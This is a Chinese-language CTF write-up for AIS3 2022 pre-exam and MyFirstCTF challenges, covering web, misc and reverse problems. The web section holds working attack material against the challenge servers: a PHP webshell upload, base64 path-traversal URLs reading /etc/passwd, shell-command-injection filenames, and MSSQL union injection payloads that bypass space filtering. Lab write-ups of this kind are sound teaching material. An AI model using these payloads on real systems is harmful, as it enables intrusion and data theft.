Try   HackMD

AIS3 2022 pre-exam & MyFirstCTF Writeup

Author: ywc

下面為題目的標籤方式

## 分類
### [mf] [pre] 題目 (此題有在 MyFirstCTF 和 pre-exam 出現,且都有解出來)
### [mf*] [pre] 題目 (此題有在 MyFirstCTF 和 pre-exam 出現,但在 MyFirstCTF 沒解出來,pre-exam 則有)
### [pre] 題目 (此題只有在 pre-exam 出現,且有解出來)

Welcome

[mf] [pre] Welcome

在 AIS3 Discord 伺服器 > AIS3-PRE-EXAM-2022 頻道 > general 聊天室的第一則訊息

Flag: AIS3{WTF did I just see the FLAG before CTF starts?}

Web

[mf] [pre] Simple File Uploader

看起來是 LFI 之類的題目,且在 source (http://chals1.ais3.org:8988/?src) 中看到有設定很多的黑名單,推測是要嘗試繞過

以下二篇為參考資料

以下為檔案名稱及內容:

<!-- filename: meow.pHp --> <?php $_GET['cmd1']($_GET['cmd2']); ?>

上傳後得到下列訊息:

進入網址並帶上參數 cmd1=system&cmd2=ls -al (i.e. http://chals1.ais3.org:8988/uploads/4430ecb6796a75050a1065db65e5ad54/142f13bac68d7651f41c48ac41cea595.pHp?cmd1=system&cmd2=ls%20-al),發現確實可以看到伺服器上的東西 (cmd2 為控制指令的地方)

在根目錄下發現有 rUn_M3_t0_9et_fL4g 這個檔案 (參數為 cmd1=system&cmd2=ls -al /),且在訪客身分下確實有 x 可執行權限

執行後拿到了 flag (參數為 cmd1=system&cmd2=/rUn_M3_t0_9et_fL4g)

Flag: AIS3{H3yyyyyyyy_U_g0t_mi٩(ˊᗜˋ*)و}

[mf] [pre] Poking Bear

進入後發現裡面有很多按鈕,且每個按鈕會根據不同的圖片 id 導到各自的 poke 網址 (i.e. http://chals1.ais3.org:8987/bear/<ID>),且編號有照順序排。(典型的 IDOR 題)


由次可推測 secret bear 的編號是在 350 ~ 777 之間,可以寫一個腳本來掃路徑

# filename: bear.py import requests url = "http://chals1.ais3.org:8987/poke" for i in range(350, 778): r = requests.post(url, data={"bear_id": str(i)}) if("You shouldn't poke a cat!" in r.text): print (i, "wrong") else: print(i, "good!")

發現 499 似乎是 secret bear 的 ID,對應到網址: http://chals1.ais3.org:8987/bear/499

進入後發現確實是 secret bear 的頁面

但按下 Poke! 後,發現無法直接拿到 flag,似乎是有身分認證

但在檢查後發現身分似乎是直接在 cookie 上,如下所示:

根據提示改成 bear poker 後,即可拿到 flag

Flag: AIS3{y0u_P0l<3_7h3_Bear_H@rdLy><}

[mf] Tari

MyFirstCTF only

看起來很像 LFI 題,但其實不是

在經過嘗試 & 通靈之後,發現在下載的地方有 Arbitrary file download + Path travesal 的漏洞,只要在下載的參數 file 中填入要下載檔案與目前目錄的相對位置 base64 過的值即可(name 的部分只是代表下載過後的檔案名稱)

舉例來說:

  • /etc/passwd

    • 相對路徑: ../../../../../../../../../../../../../etc/passwd
    • base64 值: Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
    • 下載網址: http://chals1.ais3.org:9453/download.php?file=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==&name=etc_passwd.txt
  • download.php

    • 實際的相對路徑: ../download.php
    • base64 值: Li4vZG93bmxvYWQucGhw
    • 下載網址: http://chals1.ais3.org:9453/download.php?file=Li4vZG93bmxvYWQucGhw&name=download.php.txt
  • index.php

    • 實際的相對路徑: ../index.php
    • base64 值: Li4vaW5kZXgucGhw
    • 下載網址: http://chals1.ais3.org:9453/download.php?file=Li4vaW5kZXgucGhw&name=index.php.txt

在下載 index.php 後發現有特別的 function 且 flag 藏在這裡,
以下為節錄部分:

function get_MyFirstCTF_flag() { // **MyFirstCTF ONLY FLAG** // Please IGNORE this flag if you are AIS3 Pre-Exam Player // Congratulations, you found the flag! // RCE me to get the second flag, it placed in the / directory :D echo 'MyFirstCTF FLAG: AIS3{../../3asy_pea5y_p4th_tr4ver5a1}'; }

Flag: AIS3{../../3asy_pea5y_p4th_tr4ver5a1}

[mf*] [pre] TariTari

上一題的延伸

在觀察後發現在 index.php 中的 tar function 似乎有 Command injection 的漏洞,以下為節錄:

function tar($file) { $filename = $file['name']; $path = bin2hex(random_bytes(16)) . ".tar.gz"; $source = substr($file['tmp_name'], 1); $destination = "./files/$path"; passthru("tar czf '$destination' --transform='s|$source|$filename|' --directory='/tmp' '/$source'", $return); if ($return === 0) { return [$path, $filename]; } return [FALSE, FALSE]; }

其中可控制的地方是 $filename,也就是檔案的名稱,只要閉合掉 ' + ; 再接想要的 command 即可,後面可用 # 閉合

比方說創立叫 '; ls -al;# 的檔案 (更具體的說: touch "'; ls -al;#") 再上傳,即可看到像這樣的畫面

根據上一題的敘述可知 flag 在根目錄下,而 linux 的檔案名稱有個限制是無法使用 /,因此在思考過後發現可以採用類似 Path travesal 的方式來達成

上傳檔案,名稱為: 'cd ..; cd ..; cd ..; cd ..; cd ..; cd ..; cd ..; ls -al;#

可以看到 flag 名稱為 y000000_i_am_the_f14GGG.txt

上傳檔案,名稱為: 'cd ..; cd ..; cd ..; cd ..; cd ..; cd ..; cd ..; cat y000000_i_am_the_f14GGG.txt;#

Flag: AIS3{test_flag (to be changed)}

[mf*] [pre] Cat Emoji Database 🐱


從題目的敘述中可知道這是 SQL injection 相關題目

觀察首頁的前端原始碼會發現有一個 update function,會把滑桿的輸入值會送到 /api/emoji/<unicode> 的網址來讀取,以下是節錄部分:

function update(value) { fetch('/api/emoji/' + value) .then(response => response.json()) .then(({ data, error }) => { if (error) { document.getElementById('result').innerHTML = '<p style="color:red">Not a cat emoji</p>'; } else { const { Emoji, Name, Description } = data; document.getElementById('result').innerHTML = ` <p><b>Emoji</b> ${Emoji}</p> <p><b>Short Code</b> :${Name}:</p> <p><b>Description</b> ${Description}</p>` } } ); }

而滑桿的輸入會是一個數值,這一點可以透過把它的 type 改成 text 來確認,如下圖所示

關於 /api/emoji/<unicode> 這個網址可以從 source (http://chals1.ais3.org:9487/source) 中看到它其實就是直接將輸入送進資料庫做 query,也呼應題目所說的有 SQL injection 問題,不過這邊有將空白做處理,且 / 符號也會被 Flask 當作網址解析,無法輕易使用 /**/ 來替代空白

另外在 source 中可以看到有一個 /api/all 的路徑,可以先進去看看 (http://chals1.ais3.org:9487/api/all)

會發現裡面列出了 Emoji 這個 table 中所有貓咪的名字,也發現其中有一個 secret_cat (hint here),所以一開始的目標會先嘗試讀取到這個貓咪

不過在嘗試 injection 之前,先確認一下正常的輸出會是如何,可以先拿網頁預設的數值來試 (http://chals1.ais3.org:9487/api/emoji/128049)

如果輸入的不是數字,則會有 500 ISE 錯誤

根據題目的提示,一開始應該先確認後端的資料庫是哪一個,由於每個資料庫各自都會有一些 function 是其他資料庫沒有的,在經過搜尋及測試後發現此資料庫可以使用 LENASCII function,不會發生 ISE 錯誤,推測後端資料庫可能是 MS SQL ( SQL Server),以下是測試的 payload

再根據這篇文章 (https://cloud.tencent.com/developer/article/1459291) 發現可以使用 %01 符號當作空白使用,且經嘗試可成功繞過空白限制

因此這邊可使用 union base sql injection 作為攻擊,找出 secret cat,payload: 0%01union%01select%01*%01from%01Emoji%01where%01Id=3

由此可得知 flag 在另一張 table 中,不過在找之前,因為 json 會自動做排序,所以需要先確認一下每個欄位的位置及型態,使用此 payload 並嘗試更改 a 的位置和型態之類的即可: 0%01union%01select%01'a',null,null,null,null

leak 出來的欄位位置及型態如下所示:

Id(number) | Name(text) | Emoji(text) | Description(text) | Unicode(number)

驗證 payload: 0%01union%01select%01Id,Name,Emoji,Description,Unicode%01from%01Emoji%01where%01Id=3

再根據這篇文章 (https://www.mssqltips.com/sqlservertutorial/196/information-schema-tables/) 透過以下 payload 可找出在此 DB 中有哪些 table (這邊我假設 flag table 和 Emoji 放在同一個 DB 中):

0%01union%01select%01null,null,null,TABLE_NAME,null%01from%01INFORMATION_SCHEMA.TABLES%01where%01TABLE_NAME!='Emoji'

這邊發現了一個新的 table: s3cr3t_fl4g_in_th1s_t4bl3

這邊再根據這篇文章 (https://www.mssqltips.com/sqlservertutorial/183/information-schema-columns/),使用以下 payload 並調整 ORDINAL_POSITION 找出有哪些欄位:

0%01union%01select%01ORDINAL_POSITION,null,null,COLUMN_NAME,null%01from%01INFORMATION_SCHEMA.COLUMNS%01where%01TABLE_NAME='s3cr3t_fl4g_in_th1s_t4bl3'%01and%01ORDINAL_POSITION=1

這邊發現只有一個欄位: m1ght_be_th3_f14g

透過以下 payload,找出最終的 flag: 0%01union%01select%01null,null,null,m1ght_be_th3_f14g,null%01from%01s3cr3t_fl4g_in_th1s_t4bl3

Flag: AIS3{Yep /r/BadUIBattles happened again}

Misc

[mf*] [pre] Excel

這題是跟 excel macro (VBA) 有關,但我基本上沒在碰這種東東,所以 MyFirstCTF 的時候沒解出來

解這題前須要把防毒給關掉,不然下載一直被擋檔案一直被砍 QQ

打開 Excel 並啟用編輯和巨集內容,並在 檔案 > 選項 > 自訂工作區中將開發人員選項打開

在開發人員分頁的巨集選項中可以看到有一個 Auto_Open 巨集

點選逐步執行,並按下評估值,會發現 flag 在其中

Flag: AIS3{XLM_iS_to0_o1d_but_co0o0o00olll!!}

[mf*] [pre] Gift in the dream

根據題目的 Gift,可以知道其中的 Gif 指的就是 gif file,而 t 的部分推測是 tool 的意思 (其實後來發現好像是 time 的意思),所以找到了以下網址: https://onlinegiftools.com/analyze-gif

在底下選擇 Print frame delay 後,可得知下表

Frame Delay Information
-----------------------
frame 1: 650ms
frame 2: 730ms
frame 3: 830ms
frames 4, 8, 25, 34: 510ms
frame 5: 1230ms
frame 6: 530ms
frame 7: 840ms
frames 9, 13: 1030ms
frames 10, 15, 21: 520ms
frames 11, 29: 1100ms
frames 12, 32: 480ms
frame 14: 820ms
frame 16: 1120ms
frame 17: 720ms
frame 18: 1210ms
frames 19, 23, 26, 30: 950ms
frame 20: 990ms
frame 22: 780ms
frame 24: 980ms
frame 27: 1020ms
frame 28: 850ms
frame 31: 1150ms
frame 33: 1090ms
frame 35: 550ms
frame 36: 1050ms
frame 37: 770ms
frame 38: 1010ms
frame 39: 1250ms
frames 40-50: 10ms

發現好像把 delay 的時間用 10ms 為單位來看的東西好像是 ASCII code,即以下之序列:

65 73 83 51 123 53 84 51 103 52 110 48 103 82 52 112 72 121 95 99 52 78 95 98 51 95 102 85 110 95 115 48 109 51 55 105 77 101 125

使用工具解碼,得出 flag

Flag: AIS3{5T3g4n0gR4pHy_c4N_b3_fUn_s0m37iMe}

[mf*] [pre] Knock

進入並填入 secret key 後,發現了以下訊息,推測是有封包傳送

確認 IP 確實是現在電腦使用的,所以嘗試用 Wireshark 接收看看

發現確實有傳了這些封包

經過多次比對和觀察後,發現這些封包最主要要關注的點是接收的 port,發現接收 port 的後三碼似乎是 ASCII,即以下序列:

65 73 83 51 123 107 110 48 99 107 75 78 79 67 75 107 110 111 99 107 125

使用工具解碼,得到 flag

Flag: AIS3{kn0ckKNOCKknock}

[pre] JeetQode

Pre-exam only

看起來是答題型挑戰,以下是我用到的參考資料:

基本上就 functional programming & 查 doc,沒什麼特別的,然後有 512 的長度限制

Q1:

========================================
Problem #1: Is Palindrome

Input: A string
Output: A boolean represents whether it is a palindrome

Examples:
Input: "aba"
Output: true

Input: "peko"
Output: false
========================================

A:

. == (explode | reverse | implode)

Q2:

========================================
Problem #2: Invert Binary Tree

Input: A binary tree, where each leaf is an interger and node are objects with `left` and `right` property
Output: The inverted tree with `left` and `right` swapped, recursively

Examples:
Input: {"left": 1, "right": 3}
Output: {"left": 3, "right": 1}

Input: {"left": 1, "right": {"left": 1, "right": 3}}
Output: {"left": {"left": 3, "right": 1}, "right": 1}
========================================

A:

def swap: if type == "object" then {"left": .right | swap, "right": .left | swap} else . end; swap

Q3:

========================================
Problem #3: AST Math

Input: An AST of Python's arithmetic expression (only +,-,*,/)
Output: Result number

Examples:
Input: {"body": {"left": {"value": 1, "kind": null, "lineno": 1, "col_offset": 0, "end_lineno": 1, "end_col_offset": 1}, "op": "<_ast.Add object at 0x7f0387ccde20>", "right": {"value": 2, "kind": null, "lineno": 1, "col_offset": 2, "end_lineno": 1, "end_col_offset": 3}, "lineno": 1, "col_offset": 0, "end_lineno": 1, "end_col_offset": 3}}
Output: 3

Input: {"body": {"left": {"left": {"value": 8, "kind": null, "lineno": 1, "col_offset": 1, "end_lineno": 1, "end_col_offset": 2}, "op": "<_ast.Mult object at 0x7f20eb76aee0>", "right": {"value": 7, "kind": null, "lineno": 1, "col_offset": 3, "end_lineno": 1, "end_col_offset": 4}, "lineno": 1, "col_offset": 1, "end_lineno": 1, "end_col_offset": 4}, "op": "<_ast.Sub object at 0x7f20eb76ae80>", "right": {"left": {"value": 6, "kind": null, "lineno": 1, "col_offset": 7, "end_lineno": 1, "end_col_offset": 8}, "op": "<_ast.Mult object at 0x7f20eb76aee0>", "right": {"value": 3, "kind": null, "lineno": 1, "col_offset": 9, "end_lineno": 1, "end_col_offset": 10}, "lineno": 1, "col_offset": 7, "end_lineno": 1, "end_col_offset": 10}, "lineno": 1, "col_offset": 0, "end_lineno": 1, "end_col_offset": 11}}
Output: 38
========================================

A:

def e: .value == null; def c: (if .left | e then .left | c else .left.value end) as $l | (if .right | e then .right | c else .right.value end) as $r | if .op | contains("Add") then $l+$r elif .op | contains("Sub") then $l-$r elif .op | contains("Mult") then $l*$r elif .op | contains("Div") then $l/$r else .op end; .body | c

Flag: AIS3{pr0gramm1ng_in_a_json_proce55in9_too1}

Reverse

[mf] [pre] Time Management

首先使用反組譯工具打開看原始碼,這邊我使用的是 ghidra

在 main function 中,可以看到有一個 sleep(0x8763),這一行會導致要等很長的時間才有東西跑出來

嘗試將 sleep 的值調小,以 ghidra 為例是在組語部分右鍵 > Patch Instruction > 把 0x8763 改成 0x1

Export 後放到 linux 中執行,會發現確實會慢慢將 flag 印出,但最後跑完的時候 flag 會不見,這個只要在跑到最後的 ! 前將內容複製後最後再觀察有幾個 ! 並補上即可 (記得補上 })

Flag: AIS3{You_are_the_master_of_time_management!!!!!}

[mf*] [pre] Calculator

根據題目標籤,推測可能是跟 .NET reverse 有關,上網搜尋到了這個工具 (https://github.com/dnSpy/dnSpy)

打開後對 Calculator.Extension.AIS3.dll, Calculator.Extension.AIS33.dll, Calculator.Extension.AIS333.dll, Calculator.Extension.AIS3333.dll 作反組譯,發現在 Operate 區塊似乎跟 flag 資訊有關

Calculator.Extension.AIS3.dll 中可以看到,當裡面條件式滿足時會丟出 exception,但推斷應該是要讓他能算出結果出來,所以要想辦法讓它能執行 result 那一行

所以可知道要有一個長度為 45 的句子,且 index = 14index = 3 的位置分別要是 A{,而 index 0 ~ 2 的位置的字和 W (ASCII = 87) 做 xor 後會分別得到 30, 4, 100 的值,根據 A ^ B = C; C ^ B = A; 的原理可反推 index 0 ~ 2 的位置的字分別是 ASCII = 73, 83, 51 的字,也就是 I, S, 3

所以在 Calculator.Extension.AIS3.dll 中可以知道假設輸入以下字串,就能通過檢查 (? 為不確定字): IS3{? ????? ????A ????? ????? ????? ????? ????? ?????

Calculator.Extension.AIS33.dll 的思路也差不多,唯一要注意的小地方是陣列的部分是從 37 開始算 3 個

所以 Calculator.Extension.AIS33.dll 的是: D???? ????? ????? ????? ????? ????? ????? ??G_G }

Calculator.Extension.AIS333.dll 也差不多,但開始有一點小變化, index = 35 的字和 index = 34 的字要一樣,但這個可以從下一個條件式的 right[34] != '_' 來推出 index = 35 的字


Calculator.Extension.AIS333.dll 的是: 0T_N3 T_FRA m3W0r k???? ????? ????? ????_ _

Calculator.Extension.AIS3333.dll 算是上面玩法的大雜燴,不過多了一個判斷 num != 16,所以由這行和第 36 行的 int num = int.Parse(this._calculator.Calculate("1+" + right.Substring(1, 2))); 可得知 index = 1, 2 的字是 15


所以 Calculator.Extension.AIS3333.dll 是: _15_S 0_C0m Plica T3d

從上面字串觀察後發現 3333 的字長度剛好可以填入 333? 中,變成 0T_N3 T_FRA m3W0r k_15_ S0_C0 mPlic aT3d_ _

而剛好新的字串可以放進 33? 中,變成 D0T_N 3T_FR Am3W0 rk_15 _S0_C 0mPli caT3d __G_G }

而新字串和 3 的就有點和不太起來了,不過由於已知 flag 格式為 AIS3{ ... },所以我猜可能是題目作者出錯了或可能有哪裡有做變換之類的,所以 3 裡面的 A 應該是在開頭的位置,所以最終結合起來後就會是: AIS3{D0T_N3 T_FRA m3W0r k_15_S 0_C0m Plica T3d_ _G_G },去掉幫助觀看的空白字元就是這題的 flag

另外有一個地方可能算是小彩蛋(?),在算 result 的那邊剛好是 1000 + ..., 300 + ..., 30 + ..., 7 + ...,剛好可以組成 1000 + 300 + 30 + 7 = 1337,也就是 leet 的意思

Flag: AIS3{D0T_N3T_FRAm3W0rk_15_S0_C0mPlicaT3d__G_G}

[mf*] [pre *] 殼

這題剛好解到一半比賽就結束了 QQ,不過後來有解出來就姑且放一下

稍微搜尋一下後,找到了這個網址 (https://github.com/wenyan-lang/wenyan),看起來是之前很紅但是後來沒落了的文言文程式語言

後來找到了這個線上的翻譯器 (https://ide.wy-lang.org/?file=殼),可以將 wenyen 轉成 js ,不過我發現在翻譯 殼.wy 的時候好像會有點問題,後來把前面的 吾嘗觀 ... (var xxx = require(xxx)) 對應的檔案內容 (i.e. 藏書樓/交互秘術/序.wy, 藏書樓/恆常/序.wy, 藏書樓/鑿字秘術/序.wy) 複製填入就可以了

以下是翻譯後的內容及解釋:

var==> { if (入.startsWith("蛵煿 ")) { 希依(入.substring(3)); } else { if (入 == "助") { console.log("幫助幫助幫助幫助幫助幫助"); } else { process.stdout.write("指令「" ++ "」不存在\n"); }; }; process.stdout.write("> "); }; var 殼始 = () => { console.log("輸入「助」以獲得更多幫助"); process.stdout.write("> "); }; 殼始(); require("readline").createInterface(process.stdin, process.stdout).on('line', 殼)

在一開始,會呼叫 殼始 函式印出 prompt,接著會讀取使用者輸入並丟入 函式

函式中,當輸入為 蛵煿 開頭,則會將剩餘輸入部分丟入 希依 函式,若輸入的是 ,則印出 幫助幫助幫助幫助幫助幫助,其他的則會輸出 指令「<輸入>」不存在

var 秘旗 = "\x1b[38:5:181m獎\x1b[38:5:202m當\x1b[38:5:177m之\x1b[38:5:210m兇\x1b[38:5:191m深\x1b[38:5:170m定\x1b[38:5:189m忠\x1b[38:5:197m忠\x1b[38:5:192m複\x1b[38:5:226m除\x1b[38:5:177m率\x1b[38:5:226m月\x1b[38:5:191m月\x1b[38:5:170m都\x1b[38:5:177m三\x1b[38:5:178m還\x1b[38:5:177m三\x1b[38:5:209m先\x1b[38:5:188m而\x1b[38:5:197m忠\x1b[38:5:192m兇\x1b[38:5:198m故\x1b[38:5:192m複\x1b[38:5:226m巳\x1b[38:5:177m三\x1b[38:5:222m定\x1b[38:5:189m率\x1b[38:5:225m陛\x1b[38:5:194m軍\x1b[38:5:166m除\x1b[38:5:178m軍\x1b[38:5:186m忠\x1b[38:5:181m率\x1b[38:5:226m所\x1b[38:5:177m瀘\x1b[38:5:226m獎\x1b[38:5:181m獎\x1b[38:5:218m除\x1b[38:5:179m當\x1b[38:5:166m鈍\x1b[38:5:178m三\x1b[38:5:170m斟"; var 希依 ==> { 命 = 禱(祈); console.log("結果", 命, '\x1B[m'); if (命 == 秘旗) { console.log("正解"); }; };

而在 希依 函式的部分,會將輸入丟入 函式,並比對是否與 秘旗 相同,若相同則輸出 正解

由此可知,如果要得到 正解,則需要輸入一個 蛵煿 為開頭的字串 (去除 蛵煿 後之字串下簡稱為 正解字串),而剩餘部分必須會在放入 函式後和 秘旗 一致

var==> { var= 食.length; if (!連) { return ""; }; var 紀元 = ""; var= 0; while (呼 < 連) { 日 = 食.charCodeAt(呼); var= 0; var= 0; if ((連 - 呼) >= 2) { 鑫 = 食.charCodeAt(呼 + 1); }; if ((連 - 呼) > 2) { 谷 = 食.charCodeAt(呼 + 2); }; 紀元 += 型( 營(日)(4) )( 削(日)(3) * 16 + 營(鑫)(16) ); 紀元 += 型( 削(鑫)(15) * 4 + 營(谷)(64) )( 削(谷)(63) ); 呼 += 3; }; if (連 % 3 == 1) { 紀元 += "等於"; }; return 紀元; };

函式可以看到,它會把輸入的字串以 3 個字元為一組並分別讀取他們的字碼,並丟入 , , 等函式及進行一些運算,最後串接起來輸出,此外如果輸入長度 mod 3 餘 1 的話會在最後串接一個 等於,不過由 秘旗 可看到在最後面並沒有 等於 二字,所以能知道正解字串的長度會是 3 的倍數 或是 3 的倍數 - 1

的函式如下

var==>=> { return (日 -% 鑫) / 鑫; }; var==>=> { var= 0; var= 1; while ( (日 > 0) && (鑫 > 0) ) { if ((日 % 2 == 1) && (鑫 % 2 == 1)) { 命 += 恩; }; 日 = 營(日)(2); 鑫 = 營(鑫)(2); 恩 *= 2; }; return 命; };

基本上看懂之後會發現 函式就是做 2 輸入的整數除法,而 函式則是 2 輸入做 & 計算

函式如下所示,是用來計算 天("5KTMx8XKxf==") + 165 + 和 + 天("kv==") + 桐[宇]

var= "先帝創業未半而中道崩殂今天下三分益州疲弊此誠危急存亡之秋也然侍衛之臣不懈於內忠誌之士忘身於外者蓋追先帝之殊遇欲報之於陛下也誠宜開張聖聽以光先帝遺德恢弘誌士之氣不宜妄自菲薄引喻失義以塞忠諫之路也宮中府中俱為一體陟罰臧否不宜異同若有作奸犯科及為忠善者宜付有司論其刑賞以昭陛下平明之理不宜偏私使內外異法也侍中侍郎郭攸之費禕董允等此皆良實誌慮忠純是以先帝簡拔以遺陛下愚以為宮中之事事無大小悉以谘之然後施行必能裨補闕漏有所廣益將軍嚮寵性行淑均曉暢軍事試用於昔日先帝稱之曰能是以衆議舉寵為督愚以為營中之事悉以谘之必能使行陣和睦優劣得所親賢臣遠小人此先漢所以興隆也親小人遠賢臣此後漢所以傾頹也先帝在時每與臣論此事未嘗不歎息痛恨於桓靈也侍中尚書長史參軍此悉貞良死節之臣願陛下親之信之則漢室之隆可計日而待也臣本佈衣躬耕於南陽苟全性命於亂世不求聞達於諸侯先帝不以臣卑鄙猥自枉屈三顧臣於草廬之中谘臣以當世之事由是感激遂許先帝以驅馳後值傾覆受任於敗軍之際奉命於危難之間爾來二十有一年矣先帝知臣謹慎故臨崩寄臣以大事也受命以來夙夜憂歎恐托付不效以傷先帝之明故五月渡瀘深入不毛今南方巳定兵甲已足當獎率三軍北碇中原庶竭駑鈍攘除奸兇興複漢室還于舊都此臣所以報先帝而忠陛下之職分也至於斟酌損益進盡忠言則攸之禕允之任也願陛下托臣以討賊興複之效不效則治臣之罪以告先帝之靈若無興德之言則責攸之禕允等之慢以彰其咎陛下亦宜自謀以谘諏善道察納雅言深追先帝遺詔臣不勝受恩感激今當遠離臨錶涕零不知所言"; var= 師.substring(463, 527); var==>=> { return 天("5KTMx8XKxf==") + 165 ++ 天("kv==") + 桐[宇]; };

變數在 evaluate 後可簡化為:

var 桐 = "明故五月渡瀘深入不毛今南方巳定兵甲已足當獎率三軍北碇中原庶竭駑鈍攘除奸兇興複漢室還于舊都此臣所以報先帝而忠陛下之職分也至於斟酌損";

var= "/+9876543210zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA"; var==> { var= 0; while (呼 < 笆.length) { if (笆[呼] == 竺) { return 呼; }; 呼 += 1; }; return 0; }; var==> { var= []; var= 0; while (呼 < 食.length) { var= []; 表.push( 斐(食[呼]), 斐(食[呼 + 1]), 斐(食[呼 + 2]), 斐(食[呼 + 3]) ); 返.push( 表[0] * 4 + 營(表[1])(16) ); 返.push( 削(表[1])(15) * 16 + 營(表[2])(4) ); 返.push( 削(表[2])(3) * 64 + 削(表[3])(63) ); 呼 += 4; }; var= ""; var= 0; while ( (呼 < 返.length) && (返[呼] != 0) ) { 遣 += String.fromCharCode(返[呼]); 呼 += 1; }; return 遣; };

函式就比較複雜了,不過不需要去解讀它,原因後面會說明

另外說明一下,在 函式中有使用到 函式,它最主要的功能是尋找輸入的字元是在 變數的哪一個位置

至於為什麼不用管 函式呢? 回到上面 函式的部分可以看到傳入 函式的值是固定的,所以直接將 函式當作黑盒子即可,只要關注那邊 evaluate 出來的值即可 (既然是 JS,所以可以直接複製相關函式並貼到瀏覽器的 console 那邊進行 evaluate)

所以 天("5KTMx8XKxf==") 會變成 '\x1B[38:5:'

然後 天("kv==") 會變成 'm'

綜合以上, 函式那段能化簡成以下:

var= "明故五月渡瀘深入不毛今南方巳定兵甲已足當獎率三軍北碇中原庶竭駑鈍攘除奸兇興複漢室還于舊都此臣所以報先帝而忠陛下之職分也至於斟酌損"; var==>=> { return "\x1B[38:5:" + 165 ++ "m" + 桐[宇]; };

回到 函式,由此可知以下運算部分

紀元 += 型( 營(日)(4) )( 削(日)(3) * 16 + 營(鑫)(16) ); 紀元 += 型( 削(鑫)(15) * 4 + 營(谷)(64) )( 削(谷)(63) );

可化簡為以下

紀元 += "\x1B[38:5:" + 165 + 營(日)(4) + "m" + 桐[ 削(日)(3) * 16 + 營(鑫)(16) ]; 紀元 += "\x1B[38:5:" + 165 + 削(鑫)(15) * 4 + 營(谷)(64) + "m" + 桐[ 削(谷)(63) ];

統整以上,可以將此題轉換為以下類 python pseudo code

words = "明故五月渡瀘深入不毛今南方巳定兵甲已足當獎率三軍北碇中原庶竭駑鈍攘除奸兇興複漢室還于舊都此臣所以報先帝而忠陛下之職分也至於斟酌損" secret_flag = "\x1b[38:5:181m獎\x1b[38:5:202m當\x1b[38:5:177m之\x1b[38:5:210m兇\x1b[38:5:191m深\x1b[38:5:170m定\x1b[38:5:189m忠\x1b[38:5:197m忠\x1b[38:5:192m複\x1b[38:5:226m除\x1b[38:5:177m率\x1b[38:5:226m月\x1b[38:5:191m月\x1b[38:5:170m都\x1b[38:5:177m三\x1b[38:5:178m還\x1b[38:5:177m三\x1b[38:5:209m先\x1b[38:5:188m而\x1b[38:5:197m忠\x1b[38:5:192m兇\x1b[38:5:198m故\x1b[38:5:192m複\x1b[38:5:226m巳\x1b[38:5:177m三\x1b[38:5:222m定\x1b[38:5:189m率\x1b[38:5:225m陛\x1b[38:5:194m軍\x1b[38:5:166m除\x1b[38:5:178m軍\x1b[38:5:186m忠\x1b[38:5:181m率\x1b[38:5:226m所\x1b[38:5:177m瀘\x1b[38:5:226m獎\x1b[38:5:181m獎\x1b[38:5:218m除\x1b[38:5:179m當\x1b[38:5:166m鈍\x1b[38:5:178m三\x1b[38:5:170m斟" user_input = input() temp = "" for i in range(0, len(user_input), 3): c_0 = ascii(user_input[i]) c_1 = ascii(user_input[i+1]) if ( (i + 2) <= len(user_input) ) else 0 c_2 = ascii(user_input[i+2]) if ( (i + 1) <= len(user_input) ) else 0 temp += "\x1B[38:5:" + (165 + c_0 // 4) + "m" + words[ (c_0 & 0x3) * 16 + c_1 // 16 ] temp += "\x1B[38:5:" + ((c_1 & 0xf) * 4 + c_2 // 64) + "m" + words[c_2 & 0x3f] if(len(user_input) % 3 == 1): temp += "等於" if(temp == flag): print("正解")

所以要得到正解字串,要推導出 c_0, c_1, c_2

temp += "\x1B[38:5:" + ... + words[ ... ] 可知,在 secret_flag 中的 \x1b[38:5:<var>m<var> 為一次 += 會加上的字串,其中的 <var> 代表的是會因使用者輸入而不同的一個填充代號

而從程式碼中也可看到,每 3 個字元會產生 2 組字串,所以要以 2 組字串為單位來解回正解字串的 3 個字元

這邊以 secret_flag 前二字串作為範例來推導回正解輸入的前 3 字元,剩餘部分照著相同步驟逆推即可

字串一的 <var> 部分分別是 181,而字串二則是 202,這邊暫且命名為 v1_1, v1_2, v2_1, v2_2 以方便推導為公式

由程式中可得知以下規則以及相關推導

165 + c_0 // 4 = 181 = v1_1 => c_0 // 4 = v1_1 - 165 = 181 - 165 = 16 ############################################################## words[ (c_0 & 0x3) * 16 + c_1 // 16 ] = 獎 = v1_2 => (c_0 & 0x3) * 16 + c_1 // 16 = words.indexOf(獎) = words.indexOf(v1_2) = 20 # (c_1 // 16) 必小於 16 1 => c_0 & 0x3 = words.indexOf(v1_2) // 16 = 20 // 16 = 1 2 => c_1 // 16 = words.indexOf(v1_2) % 16 = 20 % 16 = 4 ############################################################## 165 + (c_1 & 0xf) * 4 + c_2 // 64 = 202 = v2_1 # ASCII 只有 128, c_2 // 64 必小於 4 1 => c_1 & 0xf = (v2_1 - 165) // 4 = (202 - 165) // 4 = 9 2 => c_2 // 64 = (v2_1 - 165) % 4 = (202 - 165) % 4 = 1 ############################################################## words[ c_2 & 0x3f ] = 當 = v2_2 => c_2 & 0x3f = words.indexOf(v2_2) = words.indexOf(當) = 19

綜合起來,可推導出正解輸入

c_0 // 4 = v1_1 - 165 = 16 c_0 & 0x3 = words.indexOf(v1_2) // 16 = 1 => c_0 = (v1_1 - 165) * 4 + words.indexOf(v1_2) // 16 = 16 * 4 + 1 = 65 = ASCII('A') c_1 // 16 = words.indexOf(v1_2) % 16 = 4 c_1 & 0xf = (v2_1 - 165) // 4 = 9 => c_1 = words.indexOf(v1_2) % 16 * 16 + (v2_1 - 165) // 4 = 4 * 16 + 9 = 73 = ASCII('I') c_2 // 64 = (v2_1 - 165) % 4 = 1 c_2 & 0x3f = words.indexOf(v2_2) = 19 => c_2 = (v2_1 - 165) % 4 * 64 + words.indexOf(v2_2) = 1 * 64 + 19 = 83 = ASCII('S')

所以,正解輸入的前三個字元為 AIS,而公式整理如下

c_0 = (v1_1 - 165) * 4 + words.indexOf(v1_2) // 16 c_1 = words.indexOf(v1_2) % 16 * 16 + (v2_1 - 165) // 4 c_2 = (v2_1 - 165) % 4 * 64 + words.indexOf(v2_2)

全部推倒完之後,得到的正解字串為 AIS3{chaNcH4n_a1_Ch1k1ch1k1_84n8An_M1nNa_5upa5utA_n0_TAMa90_5a},即為這題的 flag

